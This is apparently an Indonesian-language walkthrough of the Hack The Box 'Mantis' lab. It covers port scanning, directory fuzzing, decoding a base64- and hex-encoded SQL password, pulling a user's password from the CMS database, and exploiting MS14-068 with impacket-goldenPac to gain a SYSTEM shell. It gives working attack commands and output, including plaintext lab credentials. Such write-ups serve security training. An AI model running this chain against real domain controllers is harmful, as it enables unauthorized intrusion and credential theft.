Mantis

Information Gathering

NMAP - Ports and Services

Nmap scan report for 10.10.10.52 (10.10.10.52)
Host is up (0.052s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-09 15:54:43Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1337/tcp  open  http         Microsoft IIS httpd 7.5
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2014 12.00.2000
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc        Microsoft Windows RPC
8080/tcp  open  http         Microsoft IIS httpd 7.5
9389/tcp  open  mc-nmf       .NET Message Framing
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
49166/tcp open  msrpc        Microsoft Windows RPC
49176/tcp open  msrpc        Microsoft Windows RPC
50255/tcp open  ms-sql-s     Microsoft SQL Server 2014 12.00.2000
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.16 seconds

FUFF - Directory Discover

┌──(me㉿justakazh)-[~/ctf/mantis]
└─$ ffuf -u http://10.10.10.52:1337/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -t 100
[--- SNIP ---]
orchard                 [Status: 500, Size: 3026, Words: 683, Lines: 73, Duration: 3272ms]
secure_notes            [Status: 301, Size: 160, Words: 9, Lines: 2, Duration: 411ms]
:: Progress: [207643/207643] :: Job [1/1] :: 82 req/sec :: Duration: [0:34:03] :: Errors: 256 ::
                                                                                                  

Road to Users - James

terdapat sebuah file dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txtdidalam folder secure_notes

http://10.10.10.52:1337/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt

1. Download OrchardCMS
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database
3. Launch IIS and add new website and point to Orchard CMS folder location.
4. Launch browser and navigate to http://localhost:8080
5. Set admin password and configure sQL server connection string.
6. Add blog pages with admin user.
[ --- SNIP --- ]
Credentials stored in secure format
OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001
SQL Server sa credentials file namez

nama dari file tersebut seperti base64

NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx

selanjutnya mari kita decode https://www.base64decode.org/

hasil dari decode tersebut menghasilkan angka dan string random yang memungkinkan itu adalah sebuah hash

6d2424716c5f53405f504073735730726421

selanjutnya saya mencoba untuk decrypt https://hashes.com/en/decrypt/hash

6d2424716c5f53405f504073735730726421:m$$ql_S@_P@ssW0rd!

selanjutnya saya akan menggunakan DBeaver untuk mengakses, jika ingin menggunakan impacket-mssqlclient bisa referensi ke sini: https://axcheron.github.io/writeups/htb/mantis/

disini saya sudah berhasil terkoneksi. selanjutnya saya akan melihat list user yang tersedia pada orchardcms yang tersimpan pada orcharddb database.

admin > Databases > orcharddb > Schemas > dbo > Tables > blog_Orchard_Users_UsersPartRecord > Columns

maafkan jika tampilan interfacenya jelek hehe

disini saya menemukan username james dengan password J@m3s_P@ssW0rd!mari kita coba untuk login ke smb

┌──(me㉿justakazh)-[~/ctf/mantis]
└─$ nxc smb 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'         
SMB         10.10.10.52     445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.52     445    MANTIS           [+] htb.local\james:J@m3s_P@ssW0rd!

┌──(me㉿justakazh)-[~/ctf/mantis]
└─$ nxc ldap 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'                                                     
SMB         10.10.10.52     445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.52     389    MANTIS           [+] htb.local\james:J@m3s_P@ssW0rd! 

yap, username dan password valid.

Road to Administrator

mesin ini rentan terhadap MS14-068. untuk cara deteksinya bisa baca disini https://adsecurity.org/?p=763

saya akan menggunakan impacket-golderpac untuk melakukan exploitasinya.

┌──(me㉿justakazh)-[~/ctf/mantis/pykek]
└─$ sudo ntpdate 10.10.10.54

selanjutnya saya akan menjalankan perintah berikut

┌──(me㉿justakazh)-[~/ctf/mantis/pykek]
└─$ impacket-goldenPac htb.local/[email protected] -dc-ip 10.10.10.52 -target-ip 10.10.10.52
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[-] Couldn't get forest info (SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.), continuing
[*] Attacking domain controller 10.10.10.52
/usr/share/doc/python3-impacket/examples/goldenPac.py:723: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
/usr/share/doc/python3-impacket/examples/goldenPac.py:749: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
[*] 10.10.10.52 found vulnerable!
[*] Requesting shares on 10.10.10.52.....
[*] Found writable share ADMIN$
[*] Uploading file kUkKqjNm.exe
[*] Opening SVCManager on 10.10.10.52.....
[*] Creating service XIZz on 10.10.10.52.....
[*] Starting service XIZz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\users\james\desktop\user.txt
a79bc9d12a33be20e53cxxxxxxxxxxxx

C:\Windows\system32>type C:\users\administrator\desktop\root.txt
bd69910c0227c8ed6bdf2xxxxxxxxxxx

C:\Windows\system32>